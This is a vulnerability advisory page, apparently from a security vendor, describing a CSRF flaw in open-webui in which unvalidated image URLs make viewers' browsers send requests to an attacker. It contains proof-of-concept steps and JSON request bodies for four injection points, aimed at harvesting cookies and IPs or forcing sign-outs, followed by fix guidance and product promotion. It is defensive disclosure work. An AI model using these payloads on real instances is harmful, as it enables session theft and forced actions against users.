GHSA-j6w6-986j-2m2m
MEDIUMGHSA-j6w6-986j-2m2m is a medium-severity (CVSS 4.6) Improper Input Validation vulnerability in open-webui. O3 Security confirms whether GHSA-j6w6-986j-2m2m is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.
Open WebUI Vulnerable to Cross-Site Request Forgery (CSRF) via Image URL Manipulation
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
Exploitation and automatability from CISA’s SSVC triage for GHSA-j6w6-986j-2m2m.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
GHSA-j6w6-986j-2m2m plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 358,265 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
open-webuiReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.
Description
Summary
An application-wide Cross-Site Request Forgery (CSRF) vulnerability was found Open-WebUl's image uploading functionality. An attacker can set an image URL to a malicious endpoint, allowing them to perform actions on behalf of a victim user. Any authenticated user can exploit this vulnerability, and any user who views the compromised image (e.g., a profile picture) will unknowingly send a GET request to the attacker-controlled URL. This can lead to cookie theft, denial of service (DoS), or other malicious actions.
This can be exploited in various locations, including:
• Profile picture
• Model picture
• Hidden images in shared chats
• Images within shared notes
Details
Vulnerable Code:
This appears to occur in most locations where images can be uploaded/rendered. Here are found sinks:
Profile Image in chat
• Note: rendering profile picture in chat
Profile Picture edit
• Note: Profile picture rendering in edit
Profile Image Navbar
• Note: Profile picture rendering in navbar
Profile Image UserList
• Note: rendering images in user list admin panel
Images in chat
• Note: rendering images in chat
Image in chat
• Note: Image sent in chat
• Location: https://github.com/open-webui/open-webui/blob/2407d9b905978d68619bdce4021e424046ec8df9/src/lib/components/channel/Messages/Message.svelte#L192 Model image in chat
• Note: Model image rendering in chat
Model image in chat response
• Note: Model image rendering in the assistant response
Model Image Admin settings
• Note: Model image rendering in the admin settings
Model Image Workspace
• Note: Model image rendering in the workspace
Model Image Edit
• Note: Model image rendering in the edit modal
Image in Notes
• Note: Image rendering in shared note
Root Cause
- Insecure display of image
• Application is sending a GET request to the unvalidated image url
- Lack of Input Validation
• Image url is not validated for filetype
PoCs
PoC (profile picture)
Environment
• Open-WebUl latest version (v0.6.41)
• Valid user
Step 1: Create a Malicious Link
• Set up a server to obtain victim's cookies, ip, referer, user-agent, etc
Step 2: Profile Image URL
-
Add user
-
Change the profile image url parameter to the malicious URL (server was used for PoC)
-
Example POST request:
-
Repeat action
- Repeat for userSignUp, updateUserProfile, and update
Step 3: View Image on Victim Admin Account
-
Log into an admin account
-
Visit the admin panel (/admin/users/overview)
-
Notice the GET request sent to the malicious URL
Step 4: Verify User Information Is Sent
- Confirm user information is sent
PoC (chat)
Environment
• Open-WebUl latest version (v0.6.41)
• Valid user
Step 1: Create a Malicious Link
• Set up a server to obtain victim's cookies, ip, referer, use-agent, etc
Step 2: Start chat
-
Start chat
-
Send a message
-
Resend POST request
-
Resend post request to this endpoint /api/v1/chats/[chat_id_here]
-
Add in a file with type set to image and the url set to the malicious link
-
Replace models/ids/malicious_url_here with what is applicable
-
{"chat":{"models":["redacted"],"history":{"messages":{"id_here":{"id":"id_here","parentId":"id_here","childrenIds":["id_here"],"role":"user","content":"","files":[{"type":"image","url":"MALICIOUS_URL_HERE"}],"timestamp":1765978991,"models":["redacted"]}}},"params":{},"files":[]}}
-
Share chat
- Copy link to share the chat
Step 3: View Image on Victim Account
-
Log into a valid account
-
Open the shared chat
-
Notice the GET request sent to the malicious URL from the hidden image on the page
Step 4: Verify User Information Is Sent
- Confirm user information is sent
PoC (notes)
Environment
• Open WebUI latest version (v0.6.41)
• Valid user with access to notes
Step 1: Create a Malicious Link
• Set up a server to obtain victim's cookies, ip, referer, use-agent, etc
Step 2: Create Note
-
Resend POST request to /api/v1/notes/[note_id_here]/update
-
Add in the malicious URL to a file
-
Example parameters
1. (replace the ID_HERE with valid ID and MALICIOUS_URL_HERE with the malicious URL):
{"title":"2025-12-17","data":{"files":[{"id":"ID_HERE","type":"image","url":"MALICIOUS_URL_HERE"}]},"access_control":{"read":{"group_ids":[],"user_ids":[]},"write":{"group_ids":[],"user_ids":[]}}}
-
Refresh page and notice the request being sent to the malicious URL
-
Share note and copy link
Step 5: View Note on Valid Account
-
Log into a valid account
-
Open the shared note
-
Notice the GET request sent to the malicious URL from the hidden image on the page
Step 6: Verify User Information Is Sent
- Verify that user information is sent.
PoC (model)
Environment
• Open WebUI latest version (v0.6.41)
• Admin user
Step 1: Create a Malicious Link
• Set up a server to obtain victim's cookies, ip, referer, use-agent, etc
Step 2: Create Model
-
Navigate to /workspace/models
-
Create or edit a model
-
Send a POST request to /api/v1/models/create or /api/v1/models/model/update?id=[model_id]
-
Change the profile_image_url to the malicious link
-
Example parameters:
-
<img width="887" height="618" alt="image" src="https://github.com/user-attachments/assets/749dac39-0b9d-4b7e-815d-fd6f3f7c57bd" />{"id":"model_test","base_model_id":"redacted","name":"MODEL_TEST","meta":{"profile_image_url":"MALICIOUS_URL_HERE","description":null,"suggestion_prompts":null,"tags":[],"capabilities":{"vision":true,"file_upload":true,"web_search":true,"image_generation":true,"code_interpreter":true,"citations":true,"usage":false}},"params":{},"access_control":null}
Step 3: View Image on Valid Account
-
Log into a valid account
-
Create chat with the model
-
Notice a GET request is sent to the malicious url
-
All users starting a chat with that model will be vulnerable to the attack
Step 4: View Image on Admin Account
-
Navigate to /workspace/models
-
Notice GET request sent to malicious url
Step 5: Verify User Information Is Sent
- On the set up server verify that improperly set cookies are sent, IP, user-agent, etc.
Other Attack Examples
-
Alternative malicious links
-
Signout of Open WebUI
- /api/v1/auths/signout
-
Internal network endpoints
-
Signout of other applications
-
Resource intensive endpoints
-
Etc
Recommended Fix
-
Store images
- Instead of sending a GET request to load the image each time, store the image and render on the page
-
Validate input
- Image file types should be whitelisted (examples: .jpg, .png, .gif, .jpeg, etc)
Impact
Vulnerability Type
-
CWE-352: Cross-Site Request Forgery (CSRF)
-
CWE-20: Improper Input Validation
Affected users
- All authenticated users
The impact of this vulnerability is significant. This application-wide vulnerability allows an attacker to perform actions on behalf of any user who views the compromised image. This can be particularly damaging if an administrator or privileged user views the image, as it could lead to elevated access or sensitive data exposure.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | open-webui | all versions | 0.9.3 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for open-webui. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update open-webui to 0.9.3 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-j6w6-986j-2m2m is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-j6w6-986j-2m2m is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-j6w6-986j-2m2m. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-j6w6-986j-2m2m in your dependencies?
O3 detects GHSA-j6w6-986j-2m2m across PyPI dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.